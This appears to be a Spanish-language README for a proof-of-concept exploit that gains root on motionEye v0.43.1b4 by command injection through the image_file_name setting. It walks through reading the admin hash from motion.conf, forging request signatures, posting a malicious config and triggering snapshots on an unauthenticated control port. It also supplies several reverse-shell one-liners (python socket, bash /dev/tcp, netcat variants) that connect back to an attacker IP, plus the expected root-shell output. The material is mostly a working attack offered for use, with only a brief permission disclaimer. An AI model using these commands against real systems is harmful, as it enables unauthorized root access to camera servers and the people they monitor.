
MotionEye v0.43.1b4 Inyección de comandos del sistema operativo
MotionEye v0.43.1b4 Inyección de Comandos del SO
Un exploit de prueba de concepto de Inyección de Comandos del SO para la vulnerabilidad en motionEye, una interfaz web para el demonio motion. La vulnerabilidad abusa del parámetro de configuración image_file_name, el cual se pasa directamente al shell sin sanitización, permitiendo la inyección arbitraria de comandos mediante la sintaxis de subshell $(command).
Aviso legal: Úselo únicamente contra sistemas para los que tenga permiso explícito de prueba. El uso no autorizado es ilegal.
motionEye pasa el valor de configuración image_file_name directamente al demonio motion como un patrón de nombre de archivo de shell. Motion evalúa las expresiones de subshell $(...) dentro de los nombres de archivo al momento de la captura, lo que significa que cualquier comando colocado dentro de $(...) se ejecuta como el usuario que ejecuta el proceso motion (típicamente root).
La cadena de ataque completa es:
1. Leer el hash de admin_password de /etc/motioneye/motion.conf
↓
2. Derivar el hash de cookie = SHA1(admin_password_hash)
↓
3. Calcular la firma HMAC usando el algoritmo exacto de motionEye:
SHA1("METHOD:path:body:key")
↓
4. Enviar por POST la configuración maliciosa a /config/{cam}/set/ con:
image_file_name = $(tu_comando).%Y-%m-%d-%H-%M-%S
↓
5. Activar la captura a través del puerto de control de motion sin autenticación 7999
↓
6. Motion evalúa el nombre de archivo → el comando se ejecuta como root
↓
7. La reverse shell se conecta de vuelta a la máquina atacante
8765)/etc/motioneye/motion.confnc)No se requieren paquetes de Python de terceros: el exploit solo usa la biblioteca estándar.
El archivo de configuración de motionEye almacena la contraseña de administrador como un hash SHA1. Léalo desde el objetivo:
cat /etc/motioneye/motion.conf
Busque la línea de comentario @admin_password:
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
El valor después de
@admin_passwordes un hash SHA1 de la contraseña en texto plano, no la contraseña en sí. Este hash es lo que necesita para el exploit.
Tenga en cuenta también el valor webcontrol_port: este es el puerto de control de motion sin autenticación utilizado para activar las capturas:
webcontrol_port 7999
webcontrol_localhost on
user@test:/tmp$ cat /etc/motioneye/motion.conf
# @admin_username admin
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @lang en
# @enabled on
# @normal_password
setup_mode off
webcontrol_port 7999
webcontrol_interface 1
webcontrol_localhost on
webcontrol_parms 2
camera camera-1.conf
camera camera-2.conf
motionEye utiliza un esquema de autenticación de doble hash:
contraseña_en_texto_plano
│
▼ SHA1
admin_password ←── almacenado en motion.conf como @admin_password
│
▼ SHA1
cookie_hash ←── enviado en la cookie del navegador como meye_password_hash
│
▼ utilizado como clave HMAC
request_signature ←── parámetro _signature= en cada solicitud API
El exploit deriva el hash de cookie automáticamente del hash de configuración:
cookie_hash = hashlib.sha1(admin_password_hash.encode()).hexdigest()
Puede verificar esto manualmente:
echo -n "989c5a8ee87a0e9521ec81a79187d162109282f0" | sha1sum
# output: 238bd0f26e9f987d2dc9c0351c018e5f52534052
La firma se calcula a partir del código fuente de motionEye en
/usr/local/lib/python3.x/dist-packages/motioneye/utils/__init__.py:
SHA1("METHOD:path:body:key")
Donde:
METHOD — método HTTP (POST)path — URI con _signature eliminado de la cadena de consulta, parámetros ordenados, valores codificados en URL, luego filtrados a través de _SIGNATURE_REGEXbody — cadena JSON del cuerpo sin procesar filtrada a través de _SIGNATURE_REGEXkey — ya sea admin_password o admin_hash (motionEye acepta ambos), filtrado a través de _SIGNATURE_REGEXLa _SIGNATURE_REGEX elimina cualquier carácter que no esté en [a-zA-Z0-9/?_.=&{}\[\]":, -], reemplazándolos con -.
Abra exploit.py y establezca las siguientes variables al inicio:
MOTIONEYE_URL = "http://127.0.0.1:8765" # URL de la interfaz web de motionEye
MOTION_URL = "http://127.0.0.1:7999" # puerto de control de motion (sin autenticación)
USERNAME = "admin" # nombre de usuario admin (predeterminado: admin)
ADMIN_HASH = "989c5a8ee87a0e9521ec81a79187d162109282f0" # de motion.conf
LHOST = "10.10.16.153" # su IP de listener — el objetivo debe poder alcanzar esta
LPORT = "4444" # su puerto de listener
El comando de reverse shell se establece automáticamente a partir de LHOST y LPORT:
COMMAND = f"python3 -c 'import socket,os,pty;s=socket.socket();s.connect((\"{LHOST}\",{LPORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'"
Comandos de shell alternativos — intercambie COMMAND si el predeterminado está bloqueado:
# Bash TCP (simple, puede estar filtrado)
COMMAND = f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"
# Netcat con bandera -e
COMMAND = f"nc -e /bin/bash {LHOST} {LPORT}"
# Netcat sin -e (netcat OpenBSD)
COMMAND = f"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc {LHOST} {LPORT} > /tmp/f"
En su máquina atacante, inicie un listener netcat antes de ejecutar el exploit:
nc -lvnp 4444
El exploit hace una pausa de 5 segundos después de imprimir el recordatorio del listener, dándole tiempo para cambiar de terminal.
python3 exploit.py
Salida esperada:
============================================================
motionEye RCE — Reverse Shell
============================================================
[*] LHOST : 10.10.16.153
[*] LPORT : 4444
[*] Command : python3 -c '...'
[!] Start your listener NOW:
nc -lvnp 4444
[*] Sending payload in 5 seconds...
[*] cam=2 key=admin_password ts=1773484327292
sig=abc123...
status=200 resp={}
[+] Config saved! cam=2 key=admin_password
[*] Triggering snapshots via port 7999 (no auth)...
[+] cam 0 → 200 Snapshot for camera 0 Done
[+] cam 1 → 200 Snapshot for camera 1 Done
[+] cam 2 → 200 Snapshot for camera 2 Done
[+] Snapshot triggered — check your listener on 10.10.16.153:4444
En su listener debería recibir:
listening on [any] 4444 ...
connect to [10.10.16.153] from (UNKNOWN) [target_ip] 51234
root@test:/var/lib/motioneye/Camera2#
403 No autorizado en todas las solicitudes
La firma es incorrecta. Verifique que su valor ADMIN_HASH coincida exactamente con la línea @admin_password en motion.conf — sin espacios, sin caracteres de nueva línea.
cat /etc/motioneye/motion.conf | grep admin_password
Las capturas se activan pero no llega el shell
La inyección en image_file_name funcionó pero la reverse shell fue bloqueada. Pruebe un COMMAND alternativo del Paso 4. También confirme que el objetivo puede alcanzar su LHOST:
# On target
ping -c 1 10.10.16.153
curl http://10.10.16.153:4444
El puerto 7999 rechaza la conexión
La configuración webcontrol_localhost on restringe el puerto 7999 solo a localhost. El exploit debe ejecutarse desde la máquina objetivo o a través de un túnel. Confirme con:
ss -tlnp | grep 7999
motion.conf no legible
El archivo puede requerir privilegios elevados:
sudo cat /etc/motioneye/motion.conf
No se encontró configuración de cámara
Verifique qué archivos de configuración de cámara existen y actualice la lista cam en el exploit si es necesario:
ls /etc/motioneye/camera-*.conf
| Parámetro | Ubicación | Descripción | Ejemplo |
|---|
MOTIONEYE_URL | exploit.py | URL completa de la interfaz web de motionEye | http://127.0.0.1:8765 |
MOTION_URL | exploit.py | URL del puerto de control de motion (sin autenticación requerida) | http://127.0.0.1:7999 |
USERNAME | exploit.py | nombre de usuario admin de motionEye | admin |
ADMIN_HASH | exploit.py | hash SHA1 de @admin_password en motion.conf | 989c5a8e... |
LHOST | exploit.py | IP de su máquina atacante — el objetivo debe alcanzar esta | 10.10.16.153 |
LPORT | exploit.py | Puerto en el que está su listener nc | 4444 |